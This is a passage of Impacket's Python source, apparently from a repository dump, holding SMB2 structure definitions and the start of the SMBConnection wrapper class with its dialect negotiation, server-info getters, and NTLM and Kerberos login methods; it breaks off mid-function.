('_Buffer','_-Buffer','self[\"Length\"]+self[\"WriteChannelInfoLength\"]'),\n        ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\n\nclass SMB2Write_Response(Structure):\n    structure = (\n        ('StructureSize','<H=17'),\n        ('Reserved','<H=0'),\n        ('Count','<L=0'),\n        ('Remaining','<L=0'),\n        ('WriteChannelInfoOffset','<H=0'),\n        ('WriteChannelInfoLength','<H=0'),\n    )\n\nclass SMB2OplockBreakNotification(Structure):\n    structure = (\n        ('StructureSize','<H=24'),\n        ('OplockLevel','<B=0'),\n        ('Reserved','<B=0'),\n        ('Reserved2','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n    )\n\nSMB2OplockBreakAcknowledgment = SMB2OplockBreakNotification\nSMB2OplockBreakResponse       = SMB2OplockBreakNotification\n\nclass SMB2LeaseBreakNotification(Structure):\n    structure = (\n        ('StructureSize','<H=44'),\n        ('NewEpoch','<H=0'),\n        ('Flags','<L=0'),\n        ('LeaseKey','16s=\"\"'),\n        ('CurrentLeaseState','<L=0'),\n        ('NewLeaseState','<L=0'),\n        ('BreakReason','<L=0'),\n        ('AccessMaskHint','<L=0'),\n        ('ShareMaskHint','<L=0'),\n    )\n\nclass SMB2LeaseBreakAcknowledgement(Structure):\n    structure = (\n        ('StructureSize','<H=36'),\n        ('Reserved','<H=0'),\n        ('Flags','<L=0'),\n        ('LeaseKey','16s=\"\"'),\n        ('LeaseState','<L=0'),\n        ('LeaseDuration','<Q=0'),\n    )\n\nSMB2LeaseBreakResponse = SMB2LeaseBreakAcknowledgement\n\n# SMB2_LOCK\nclass SMB2_LOCK_ELEMENT(Structure):\n    structure = (\n        ('Offset','<Q=0'),\n        ('Length','<Q=0'),\n        ('Flags','<L=0'),\n        ('Reserved','<L=0'),\n    )\n\nclass SMB2Lock(Structure):\n    structure = (\n        ('StructureSize','<H=48'),\n        ('LockCount','<H=0'),\n        ('LockSequence','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('_Locks','_-Locks','self[\"LockCount\"]*24'),\n        ('Locks',':'),\n    )\n\nclass SMB2Lock_Response(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\n\n# SMB2_ECHO\nclass SMB2Echo(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\nSMB2Echo_Response = SMB2Echo\n\n# SMB2_CANCEL`\nclass SMB2Cancel(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\n# SMB2_IOCTL\nclass SMB2Ioctl(Structure):\n    SIZE = 56\n    structure = (\n        ('StructureSize','<H=57'),\n        ('Reserved','<H=0'),\n        ('CtlCode','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('InputOffset','<L=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n        ('InputCount','<L=0'),\n        ('MaxInputResponse','<L=0'),\n        ('OutputOffset','<L=(self.SIZE + 64 + len(self[\"AlignPad\"]) + self[\"InputCount\"])'),\n        ('OutputCount','<L=0'),\n        ('MaxOutputResponse','<L=0'),\n        ('Flags','<L=0'),\n        ('Reserved2','<L=0'),\n        #('_AlignPad','_-AlignPad','self[\"InputOffset\"] + self[\"OutputOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        #('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"InputCount\"]+self[\"OutputCount\"]'),\n        ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\nclass FSCTL_PIPE_WAIT_STRUCTURE(Structure):\n    structure = (\n        ('Timeout','<q=0'),\n        ('NameLength','<L=0'),\n        ('TimeoutSpecified','<B=0'),\n        ('Padding','<B=0'),\n        ('_Name','_-Name','self[\"NameLength\"]'),\n        ('Name',':'),\n    )\n\nclass SRV_COPYCHUNK_COPY(Structure):\n    structure = (\n        ('SourceKey','24s=\"\"'),\n        ('ChunkCount','<L=0'),\n        ('Reserved','<L=0'),\n        ('_Chunks','_-Chunks', 'self[\"ChunkCount\"]*len(SRV_COPYCHUNK)'),\n        ('Chunks',':'),\n    )\n\nclass SRV_COPYCHUNK(Structure):\n    structure = (\n        ('SourceOffset','<Q=0'),\n        ('TargetOffset','<Q=0'),\n        ('Length','<L=0'),\n        ('Reserved','<L=0'),\n    )\n\nclass SRV_COPYCHUNK_RESPONSE(Structure):\n    structure = (\n        ('ChunksWritten','<L=0'),\n        ('ChunkBytesWritten','<L=0'),\n        ('TotalBytesWritten','<L=0'),\n    )\n\nclass SRV_READ_HASH(Structure):\n    structure = (\n        ('HashType','<L=0'),\n        ('HashVersion','<L=0'),\n        ('HashRetrievalType','<L=0'),\n        ('Length','<L=0'),\n        ('Offset','<Q=0'),\n    )\n\nclass NETWORK_RESILIENCY_REQUEST(Structure):\n    structure = (\n        ('Timeout','<L=0'),\n        ('Reserved','<L=0'),\n    )\n\nclass VALIDATE_NEGOTIATE_INFO(Structure):\n    structure = (\n        ('Capabilities','<L=0'),\n        ('Guid','16s=\"\"'),\n        ('SecurityMode','<H=0'),\n        #('DialectCount','<H=0'),\n        ('Dialects','<H*<H'),\n    )\n\nclass VALIDATE_NEGOTIATE_INFO_RESPONSE(Structure):\n    structure = (\n        ('Capabilities','<L=0'),\n        ('Guid','16s=\"\"'),\n        ('SecurityMode','<H=0'),\n        ('Dialect','<H'),\n    )\n\nclass SRV_SNAPSHOT_ARRAY(Structure):\n    structure = (\n        ('NumberOfSnapShots','<L=0'),\n        ('NumberOfSnapShotsReturned','<L=0'),\n        ('SnapShotArraySize','<L=0'),\n        ('_SnapShots','_-SnapShots','self[\"SnapShotArraySize\"]'),\n        ('SnapShots',':'),\n    )\n\nclass SRV_REQUEST_RESUME_KEY(Structure):\n    structure = (\n        ('ResumeKey','24s=\"\"'),\n        ('ContextLength','<L=0'),\n        ('_Context','_-Context','self[\"ContextLength\"]'),\n        ('Context',':'),\n    )\n\nclass HASH_HEADER(Structure):\n    structure = (\n        ('HashType','<L=0'),\n        ('HashVersion','<L=0'),\n        ('SourceFileChangeTime','<Q=0'),\n        ('SourceFileSize','<Q=0'),\n        ('HashBlobLength','<L=0'),\n        ('HashBlobOffset','<L=0'),\n        ('Dirty','<H=0'),\n        ('SourceFileNameLength','<L=0'),\n        ('_SourceFileName','_-SourceFileName','self[\"SourceFileNameLength\"]',),\n        ('SourceFileName',':'),\n    )\n\nclass SRV_HASH_RETRIEVE_HASH_BASED(Structure):\n    structure = (\n        ('Offset','<Q=0'),\n        ('BufferLength','<L=0'),\n        ('Reserved','<L=0'),\n        ('_Buffer','_-Buffer','self[\"BufferLength\"]'),\n        ('Buffer',':'),\n    )\n\nclass SRV_HASH_RETRIEVE_FILE_BASED(Structure):\n    structure = (\n        ('FileDataOffset','<Q=0'),\n        ('FileDataLength','<Q=0'),\n        ('BufferLength','<L=0'),\n        ('Reserved','<L=0'),\n        ('_Buffer','_-Buffer','self[\"BufferLength\"]'),\n        ('Buffer',':'),\n    )\n\nclass NETWORK_INTERFACE_INFO(Structure):\n    structure = (\n        ('Next','<L=0'),\n        ('IfIndex','<L=0'),\n        ('Capability','<L=0'),\n        ('Reserved','<L=0'),\n        ('LinkSpeed','<Q=0'),\n        ('SockAddr_Storage','128s=\"\"'),\n    )\n\nclass MOUNT_POINT_REPARSE_DATA_STRUCTURE(Structure):\n    structure = (\n        (\"ReparseTag\", \"<L=0xA0000003\"),\n        (\"ReparseDataLen\", \"<H=len(self['PathBuffer']) + 8\"),\n        (\"Reserved\", \"<H=0\"),\n        (\"SubstituteNameOffset\", \"<H=0\"),\n        (\"SubstituteNameLength\", \"<H=0\"),\n        (\"PrintNameOffset\", \"<H=0\"),\n        (\"PrintNameLength\", \"<H=0\"),\n        (\"PathBuffer\", \":\")\n    )\n\nclass MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE(Structure):\n    structure = (\n        (\"ReparseTag\", \"<L=0xA0000003\"),\n        (\"ReparseDataLen\", \"<H=len(self['DataBuffer'])\"),\n        (\"Reserved\", \"<H=0\"),\n        (\"ReparseGuid\", \"16s=''\"),\n        (\"DataBuffer\", \":\")\n    )\n\nclass SMB2Ioctl_Response(Structure):\n    structure = (\n        ('StructureSize','<H=49'),\n        ('Reserved','<H=0'),\n        ('CtlCode','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('InputOffset','<L=0'),\n        ('InputCount','<L=0'),\n        ('OutputOffset','<L=0'),\n        ('OutputCount','<L=0'),\n        ('Flags','<L=0'),\n        ('Reserved2','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"OutputOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"InputCount\"]+self[\"OutputCount\"]'),\n        ('Buffer',':'),\n    )\n\n# SMB2_QUERY_DIRECTORY\nclass SMB2QueryDirectory(Structure):\n    SIZE = 32\n    structure = (\n        ('StructureSize','<H=33'),\n        ('FileInformationClass','<B=0'),\n        ('Flags','<B=0'),\n        ('FileIndex','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('FileNameOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n        ('FileNameLength','<H=0'),\n        ('OutputBufferLength','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"FileNameOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"FileNameLength\"]'),\n        ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\nclass SMB2QueryDirectory_Response(Structure):\n    structure = (\n        ('StructureSize','<H=9'),\n        ('OutputBufferOffset','<H=0'),\n        ('OutputBufferLength','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"OutputBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"OutputBufferLength\"]'),\n        ('Buffer',':'),\n    )\n\n# SMB2_CHANGE_NOTIFY\nclass SMB2ChangeNotify(Structure):\n    structure = (\n        ('StructureSize','<H=32'),\n        ('Flags','<H=0'),\n        ('OutputBufferLength','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('CompletionFilter','<L=0'),\n        ('Reserved','<L=0'),\n    )\n\nclass SMB2ChangeNotify_Response(Structure):\n    structure = (\n        ('StructureSize','<H=9'),\n        ('OutputBufferOffset','<H=0'),\n        ('OutputBufferLength','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"OutputBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"OutputBufferLength\"]'),\n        ('Buffer',':'),\n    )\n\nclass FILE_NOTIFY_INFORMATION(Structure):\n    structure = (\n        ('NextEntryOffset','<L=0'),\n        ('Action','<L=0'),\n        ('FileNameLength','<L=0'),\n        ('_FileName','_-FileName','self[\"FileNameLength\"]',),\n        ('FileName',':'),\n    )\n\n# SMB2_QUERY_INFO\nclass SMB2QueryInfo(Structure):\n    SIZE = 40\n    structure = (\n       ('StructureSize','<H=41'),\n       ('InfoType','<B=0'),\n       ('FileInfoClass','<B=0'),\n       ('OutputBufferLength','<L=0'),\n       ('InputBufferOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n       ('Reserved','<H=0'),\n       ('InputBufferLength','<L=0'),\n       ('AdditionalInformation','<L=0'),\n       ('Flags','<L=0'),\n       ('FileID',':',SMB2_FILEID),\n       ('_AlignPad','_-AlignPad','self[\"InputBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n       ('AlignPad',':=\"\"'),\n       ('_Buffer','_-Buffer','self[\"InputBufferLength\"]'),\n       ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\n\nclass SMB2_QUERY_QUOTA_INFO(Structure):\n    structure = (\n        ('ReturnSingle','<B=0'),\n        ('RestartScan','<B=0'),\n        ('Reserved','<H=0'),\n        ('SidListLength','<L=0'),\n        ('StartSidLength','<L=0'),\n        ('StartSidOffset','<L=0'),\n        # ToDo: Check 2.2.37.1 here\n        ('SidBuffer',':'),\n    )\n\nclass SMB2QueryInfo_Response(Structure):\n   structure = (\n       ('StructureSize','<H=9'),\n       ('OutputBufferOffset','<H=0'),\n       ('OutputBufferLength','<L=0'),\n       ('_AlignPad','_-AlignPad','self[\"OutputBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n       ('AlignPad',':=\"\"'),\n       ('_Buffer','_-Buffer','self[\"OutputBufferLength\"]'),\n       ('Buffer',':'),\n   )\n\nclass FILE_BASIC_INFORMATION (Structure):\n    structure = (\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('ChangeTime','<q'),\n        ('FileAttributes','<L'),\n        ('Reserved','<L=0'),\n    )\n\nclass FILE_STANDARD_INFORMATION (Structure):\n    structure = (\n        ('AllocationSize','<q'),\n        ('EndOfFile','<q'),\n        ('NumberOfLinks','<L'),\n        ('DeletePending','<B=0'),\n        ('Directory','<B'),\n        ('Reserved','<H=0'),\n    )\n\nclass FILE_INTERNAL_INFORMATION (Structure):\n    structure = (\n        ('IndexNumber','<q=0'),\n    )\n\nclass FILE_EA_INFORMATION (Structure):\n    structure = (\n        ('EaSize','<L'),\n    )\n\nclass FILE_ACCESS_INFORMATION (Structure):\n    structure = (\n        ('AccessFlags','<L'),\n    )\n\nclass FILE_POSITION_INFORMATION (Structure):\n    structure = (\n        ('CurrentByteOffset','<Q'),\n    )\n\nclass FILE_MODE_INFORMATION (Structure):\n    structure = (\n        ('Mode','<L=0'),\n    )\n\nclass FILE_ALIGNMENT_INFORMATION (Structure):\n    structure = (\n        ('AlignmentRequirement','<L'),\n    )\n\nclass FILE_NAME_INFORMATION (Structure):\n    structure = (\n        ('FileNameLength','<L=0'),\n        ('_FileName','_-FileName', 'self[\"FileNameLength\"]'),\n        ('FileName',':'),\n    )\n\nclass FILE_ALL_INFORMATION(Structure):\n    structure = (\n        ('BasicInformation',':',FILE_BASIC_INFORMATION),\n        ('StandardInformation',':',FILE_STANDARD_INFORMATION),\n        ('InternalInformation',':',FILE_INTERNAL_INFORMATION),\n        ('EaInformation',':',FILE_EA_INFORMATION),\n        ('AccessInformation',':',FILE_ACCESS_INFORMATION),\n        ('PositionInformation',':',FILE_POSITION_INFORMATION),\n        ('ModeInformation',':',FILE_MODE_INFORMATION),\n        ('AlignmentInformation',':',FILE_ALIGNMENT_INFORMATION),\n        ('NameInformation',':',FILE_NAME_INFORMATION),\n    )\n\nclass FILE_ATTRIBUTE_TAG_INFORMATION(Structure):\n    structure = (\n        ('FileAttributes','<L'),\n        ('ReparseTag','<L=0'),\n    )\n\n# SMB2_SET_INFO\nclass SMB2SetInfo(Structure):\n    SIZE = 32\n    structure = (\n       ('StructureSize','<H=33'),\n       ('InfoType','<B=0'),\n       ('FileInfoClass','<B=0'),\n       ('BufferLength','<L=0'),\n       ('BufferOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n       ('Reserved','<H=0'),\n       ('AdditionalInformation','<L=0'),\n       ('FileID',':',SMB2_FILEID),\n       ('_AlignPad','_-AlignPad','self[\"BufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n       ('AlignPad',':=\"\"'),\n       ('_Buffer','_-Buffer','self[\"BufferLength\"]'),\n       ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\nclass SMB2SetInfo_Response(Structure):\n    structure = (\n       ('StructureSize','<H=2'),\n    )\n\nclass FILE_RENAME_INFORMATION_TYPE_2(Structure):\n    structure = (\n        ('ReplaceIfExists','<B=0'),\n        ('Reserved','7s=\"\"'),\n        ('RootDirectory','<Q=0'),\n        ('FileNameLength','<L=0'),\n        ('_FileName','_-FileName','self[\"FileNameLength\"]'),\n        ('FileName',':'),\n    )\n\nclass SMB2_TRANSFORM_HEADER(Structure):\n    structure = (\n        ('ProtocolID','\"\\xfdSMB'),\n        ('Signature','16s=\"\"'),\n        ('Nonce','16s=\"\"'),\n        ('OriginalMessageSize','<L=0'),\n        ('Reserved','<H=0'),\n        ('EncryptionAlgorithm','<H=0'),\n        ('SessionID','<Q=0'),\n    )\n\nclass SMB2_COMPRESSION_TRANSFORM_HEADER(Structure):\n    structure = (\n        ('ProtocolID','<L=0'),\n        ('OriginalCompressedSegmentSize','<L=0'),\n        ('CompressionAlgorithm','<H=0'),\n        ('Flags','<H=0'),\n        ('Offset_Length','<L=0'),\n    )\n\nclass SMB2_COMPRESSION_PAYLOAD_HEADER(Structure):\n    structure = (\n        ('AlgorithmId','<H=0'),\n        ('Reserved','<H=0'),\n        ('Length','<L=0'),\n    )\n\nclass SMB2_COMPRESSION_PATTERN_PAYLOAD_V1(Structure):\n    structure = (\n        ('Pattern','B=0'),\n        ('Reserved1','B=0'),\n        ('Reserved2','B=0'),\n        ('Repetitions','<L=0'),\n    )\n\n# SMB2_SEC_INFO_00\nclass FileSecInformation(Structure):\n    structure = (\n        ('Revision','<h=1'),\n        ('Type','<h=0'),\n        ('OffsetToOwner','<I=0'),\n        ('OffsetToGroup','<I=0'),\n        ('OffsetToSACL','<I=0'),\n        ('OffsetToDACL','<I=0'),\n    )\n"
  },
  {
    "path": "impacket/smbconnection.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Wrapper class for SMB1/2/3 so it's transparent for the client.\n#   You can still play with the low level methods (version dependent)\n#   by calling getSMBServer()\n#\n# Author: Alberto Solino (@agsolino)\n#\n\nimport ntpath\nimport socket\n\nfrom impacket import smb, smb3, smb3structs, nmb, nt_errors, LOG\nfrom impacket.ntlm import compute_lmhash, compute_nthash\n\n# Propagated imports to clients.\n## Dialects.\nfrom impacket.smb import SMB_DIALECT\nfrom impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311\n\n## Create Disposition.\nfrom impacket.smb import FILE_OPEN, FILE_OVERWRITE, FILE_OVERWRITE_IF\nfrom impacket.smb3structs import FILE_OPEN_REPARSE_POINT\n\n## Create Options.\nfrom impacket.smb import FILE_NON_DIRECTORY_FILE\nfrom impacket.smb3structs import FILE_ATTRIBUTE_NORMAL, FILE_SYNCHRONOUS_IO_NONALERT\n\n## Access Mask.\nfrom impacket.smb import FILE_READ_DATA , FILE_WRITE_DATA, GENERIC_READ, GENERIC_WRITE, GENERIC_ALL, READ_CONTROL, \\\n                         FILE_READ_ATTRIBUTES, FILE_READ_EA, SYNCHRONIZE\n\n## Share Access Modes.\nfrom impacket.smb import FILE_SHARE_READ, FILE_SHARE_WRITE, FILE_SHARE_DELETE\n\n\nclass SMBConnection:\n    \"\"\"\n    SMBConnection class\n\n    :param str remoteName: The name of the remote host, can be its NETBIOS name, IP or *\\\\*SMBSERVER*.  \n                           If the later, and port is 139, the library will try to get the target's server name.\n    :param str remoteHost: Target server's remote address (IPv4, IPv6) or FQDN\n    :param optional str myName: The client's NETBIOS name\n    :param optional int sess_port: A target port to connect\n    :param optional int timeout: Timeout in seconds when receiving packets\n    :param optional int/str preferredDialect: The dialect desired to talk with the target server. If not specified the highest\n           one available will be used\n    :param optional bool manualNegotiate: Lets the user manually perform SMB_COM_NEGOTIATE.\n\n    :return: An SMBConnection instance.\n    :raise SessionError: If encountered an error.\n    \"\"\"\n    def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=nmb.SMB_SESSION_PORT, timeout=60, preferredDialect=None,\n                 existingConnection=None, manualNegotiate=False):\n\n        self._SMBConnection = 0\n        self._dialect       = ''\n        self._nmbSession    = 0\n        self._sess_port     = sess_port\n        self._myName        = myName\n        self._remoteHost    = remoteHost\n        self._remoteName    = remoteName\n        self._timeout       = timeout\n        self._preferredDialect = preferredDialect\n        self._existingConnection = existingConnection\n        self._manualNegotiate = manualNegotiate\n        self._doKerberos = False\n        self._kdcHost = None\n        self._useCache = True\n        self._ntlmFallback = True\n\n        if existingConnection is not None:\n            # Existing Connection must be a smb or smb3 instance\n            assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3))\n            self._SMBConnection = existingConnection\n            self._preferredDialect = self._SMBConnection.getDialect()\n            self._doKerberos = self._SMBConnection.getKerberos()\n            return\n\n        ##preferredDialect = smb.SMB_DIALECT\n\n        if manualNegotiate is False:\n            self.negotiateSession(preferredDialect)\n\n    def negotiateSession(self, preferredDialect=None,\n                         flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS,\n                         flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES,\n                         negoData='\\x02NT LM 0.12\\x00\\x02SMB 2.002\\x00\\x02SMB 2.???\\x00'):\n        \"\"\"\n        Perform SMB protocol negotiation.\n\n        :param optional int/str preferredDialect: The dialect desired to talk with the target server. \n                                                  If None is specified the highest one available will be used\n        :param optional int flags1: The SMB FLAGS capabilities\n        :param optional int flags2: The SMB FLAGS2 capabilities\n        :param optional bytes negoData: Data to be sent as part of the nego handshake.\n\n        :return: True\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old\n        # applications still believing\n        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i\n        # *SMBSERVER's limitations\n        if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER':\n            self._remoteName = self._remoteHost\n        elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER':\n            # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best\n            nb = nmb.NetBIOS()\n            try:\n                res = nb.getnetbiosname(self._remoteHost)\n            except:\n                pass\n            else:\n                self._remoteName = res\n\n        if self._sess_port == nmb.NETBIOS_SESSION_PORT:\n            negoData = '\\x02NT LM 0.12\\x00\\x02SMB 2.002\\x00'\n\n        hostType = nmb.TYPE_SERVER\n        if preferredDialect is None:\n            # If no preferredDialect sent, we try the highest available one.\n            packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port,\n                                                   self._timeout, True, flags1=flags1, flags2=flags2, data=negoData)\n            if packet[0:1] == b'\\xfe':\n                # Answer is SMB2 packet\n                self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType,\n                                                self._sess_port, self._timeout, session=self._nmbSession,\n                                                negSessionResponse=smb3structs.SMB2Packet(packet))\n            else:\n                # Answer is SMB packet, sticking to SMBv1\n                self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType,\n                                              self._sess_port, self._timeout, session=self._nmbSession,\n                                              negPacket=packet)\n        else:\n            if preferredDialect == smb.SMB_DIALECT:\n                self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType,\n                                              self._sess_port, self._timeout)\n            elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311]:\n                self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType,\n                                                self._sess_port, self._timeout, preferredDialect=preferredDialect)\n            else:\n                raise Exception(\"Unknown dialect %s\")\n\n        # propagate flags to the smb sub-object, except for Unicode (if server supports)\n        # does not affect smb3 objects\n        if isinstance(self._SMBConnection, smb.SMB):\n            if self._SMBConnection.get_flags()[1] & smb.SMB.FLAGS2_UNICODE:\n                flags2 |= smb.SMB.FLAGS2_UNICODE\n            self._SMBConnection.set_flags(flags1=flags1, flags2=flags2)\n\n        return True\n\n    def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0,\n                                 flags2=0, data=None):\n        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects\n        # (including SMB1) is supported on the other end.\n\n        if not myName:\n            myName = socket.gethostname()\n            i = myName.find('.')\n            if i > -1:\n                myName = myName[:i]\n\n        tries = 0\n        smbp = smb.NewSMBPacket()\n        smbp['Flags1'] = flags1\n        # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support\n        smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE\n        resp = None\n        while tries < 2:\n            self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port,\n                                                     timeout)\n\n            negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)\n            if extended_security is True:\n                smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY\n            negSession['Data'] = data\n            smbp.addCommand(negSession)\n            self._nmbSession.send_packet(smbp.getData())\n\n            try:\n                resp = self._nmbSession.recv_packet(timeout)\n                break\n            except nmb.NetBIOSError:\n                # OSX Yosemite asks for more Flags. Let's give it a try and see what happens\n                smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE\n                smbp['Data'] = []\n\n            tries += 1\n\n        if resp is None:\n            # No luck, quitting\n            raise Exception('No answer!')\n\n        return resp.get_trailer()\n\n    def getNMBServer(self):\n        return self._nmbSession\n\n    def getSMBServer(self):\n        \"\"\"\n        Returns the SMB/SMB3 instance being used. Useful for calling low level methods.\n        \"\"\"\n        return self._SMBConnection\n\n    def getDialect(self):\n        return self._SMBConnection.getDialect()\n\n    def getServerName(self):\n        return self._SMBConnection.get_server_name()\n\n    def getClientName(self):\n        return self._SMBConnection.get_client_name()\n\n    def getRemoteHost(self):\n        return self._SMBConnection.get_remote_host()\n\n    def getRemoteName(self):\n        return self._SMBConnection.get_remote_name()\n\n    def setRemoteName(self, name):\n        return self._SMBConnection.set_remote_name(name)\n\n    def getServerDomain(self):\n        return self._SMBConnection.get_server_domain()\n\n    def getServerDNSDomainName(self):\n        return self._SMBConnection.get_server_dns_domain_name()\n\n    def getServerDNSHostName(self):\n        return self._SMBConnection.get_server_dns_host_name()\n\n    def getServerOS(self):\n        return self._SMBConnection.get_server_os()\n\n    def getServerOSMajor(self):\n        return self._SMBConnection.get_server_os_major()\n\n    def getServerOSMinor(self):\n        return self._SMBConnection.get_server_os_minor()\n\n    def getServerOSBuild(self):\n        return self._SMBConnection.get_server_os_build()\n\n    def doesSupportNTLMv2(self):\n        return self._SMBConnection.doesSupportNTLMv2()\n\n    def isLoginRequired(self):\n        return self._SMBConnection.is_login_required()\n\n    def isSigningRequired(self):\n        return self._SMBConnection.is_signing_required()\n\n    def getCredentials(self):\n        return self._SMBConnection.getCredentials()\n\n    def getIOCapabilities(self):\n        return self._SMBConnection.getIOCapabilities()\n\n    def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlmFallback = True):\n        \"\"\"\n        Authenticates against the target system using NTLM.\n\n        :param str user: Username.\n        :param str password: Password for the user.\n        :param optional str domain: Domain where the account is valid for.\n        :param optional str lmhash: LMHASH used to authenticate using hashes (password is not used).\n        :param optional str nthash: NTHASH used to authenticate using hashes (password is not used).\n        :param optional bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. \n                                           Only available for SMBv1.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        self._ntlmFallback = ntlmFallback\n        try:\n            if self.getDialect() == smb.SMB_DIALECT:\n                return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback)\n            else:\n                return self._SMBConnection.login(user, password, domain, lmhash, nthash)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,\n                      TGS=None, useCache=True):\n        \"\"\"\n        Authenticates against the target system using Kerberos.\n        Hashes are used if RC4_HMAC is supported.\n\n        :param str user: Username.\n        :param str password: Password for the user.\n        :param optional str domain: Domain where the account is valid for (required).\n        :param optional str lmhash: LMHASH used to authenticate using hashes (password is not used).\n        :param optional str nthash: NTHASH used to authenticate using hashes (password is not used).\n        :param optional str aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication.\n        :param optional str kdcHost: Hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho).\n        :param optional struct TGT: If there's a TGT available, send the structure here and it will be used.\n        :param optional struct TGS: Same for TGS. See smb3.py for the format.\n        :param optional bool useCache: Whether or not we should use the ccache for credentials lookup.\n                                       If TGT or TGS are specified this is False\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        from impacket.krb5.ccache import CCache\n        from impacket.krb5.kerberosv5 import KerberosError\n        from impacket.krb5 import constants\n\n        self._kdcHost = kdcHost\n        self._useCache = useCache\n\n        if TGT is not None or TGS is not None:\n            useCache = False\n\n        if useCache:\n            domain, user, TGT, TGS = CCache.parseFile(domain, user, 'cifs/%s' % self.getRemoteName())\n\n        while True:\n            try:\n                if self.getDialect() == smb.SMB_DIALECT:\n                    return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost,\n              